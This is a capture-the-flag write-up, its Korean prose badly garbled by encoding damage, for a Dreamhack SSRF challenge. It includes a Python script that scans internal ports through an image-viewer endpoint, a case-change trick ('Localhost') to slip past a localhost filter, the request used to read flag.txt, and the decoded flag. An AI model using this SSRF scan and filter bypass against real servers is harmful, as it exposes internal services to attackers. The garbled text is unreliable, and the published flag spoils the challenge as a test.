[Dreamhack] Web - SSRF λλ¦Όν΅ μκ²μ λ¬Έμ νμ΄
5 - 1 - 1. Web - SSRF μ·¨μ½μ μ€μ΅
# Web - SSRF
1. λ¬Έμ νμΈ ν λ¬Έμ νμΌ λ€μ΄λ‘λ
2. λ¬Έμ μ app.py νμΌμ μ½λ λΆμ
+ << Line 27 ~ 28 >>
: /img_viewer.html μ GET, POST λ κ°μ§μ μμ²μ μ²λ¦¬
+ << Line 29 ~ 30 >>
: GET μ κ²½μ°
--> img_viewer.html μ λ λλ§
: POST μ κ²½μ°
--> μ¬μ©μκ° μ λ ₯ν URLμ HTTP μμ² μ μ‘ ν κ·Έμ λν μλ΅μ img_viewer.html μ μΈμλ‘ νμ¬ λ λλ§
+ << Line 36 ~ 38 >>
: μλ² μ£Όμμ "127.0.0.1" μ΄λ "localhost" κ° ν¬ν¨λ URLλ‘μ μ κ·Ό μ ν
--> μ¬μ©μμ μν΄ μ λ ₯λ λ¬Έμμ΄ μμ μ λ μμκ° μλ€λ©΄ error.png λ°ν
+ << Line 49 >>
: http (=νμ΄μ¬ κΈ°λ³Έ λͺ¨λ) λ₯Ό μ΄μ©νμ¬ μμ ν¬νΈ( = 127.0.0.1 )μ HTTP μλ² μ€ν
: νΈμ€νΈκ° 127.0.0.1 --> μΈλΆμμμ μλ² μ κ·Ό λ°©μ§
+ << Line 50 >>
: ν¬νΈ λ²νΈλ 1500 ~ 1800 μ¬μ΄μ μμμ μ
--> μμ λ²μκ° λ무 λμ΄ μ§μ λμ μ μ΄λ €μ
+ << Line 51 ~ 53 >>
: http.server.HTTPServer μ λ λ²μ§Έ μΈμλ‘ http.server.SimpleHTTPRequestHandler μ μ λ¬
--> 리μμ€ λ°ν μΉ μλ² μμ±
+ << Line 60 >>
: ν μ€λ λλ‘ local_server μ€ν
3. ν¬νΈλ²νΈλ₯Ό μμλ΄κΈ° μν Python μ€ν¬λ¦½νΈ μμ±
import requests
import sys
from tqdm import tqdm
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = 11090
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
4. VScode μμ μμ±ν Python μ€ν¬λ¦½νΈ μ€ν
+ νλ‘κ·Έλ¨ μ€ν κ²°κ³Ό ν¬νΈ λ²νΈλ 1517μμ νμΈ
5. μ μ μ 보 νμΈ ν μλ΄λ λ§ν¬μΈ http://host1.dreamhack.games:11090/ μΌλ‘ μ μ
6. Image Viewer νμ΄μ§λ‘ μ΄λ ν μ°ΎμλΈ ν¬νΈ λ²νΈ(=1517)λ₯Ό μ΄μ©νμ¬ μλμ κ°μ΄ URL μ λ ₯
+ http://Localhost:1517/flag.txt μ url μ λ ₯λμ μ λ ₯
7. url μ λ ₯ ν F12λ₯Ό ν΅ν΄ κ°λ°μ λꡬ μ€ν
+ κ°λ°μ λꡬμ img λΆλΆμμ 64baseλ‘ μΈμ½λ©λ μνμ Flagλ₯Ό λ°κ²¬
8. REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9 λΆλΆμ 64bit λμ½λλ₯Ό μ΄μ©νμ¬ λμ½λ©
+ Flagλ DH{43dd2189056475a7f3bd11456a17ad71} μμ νμΈ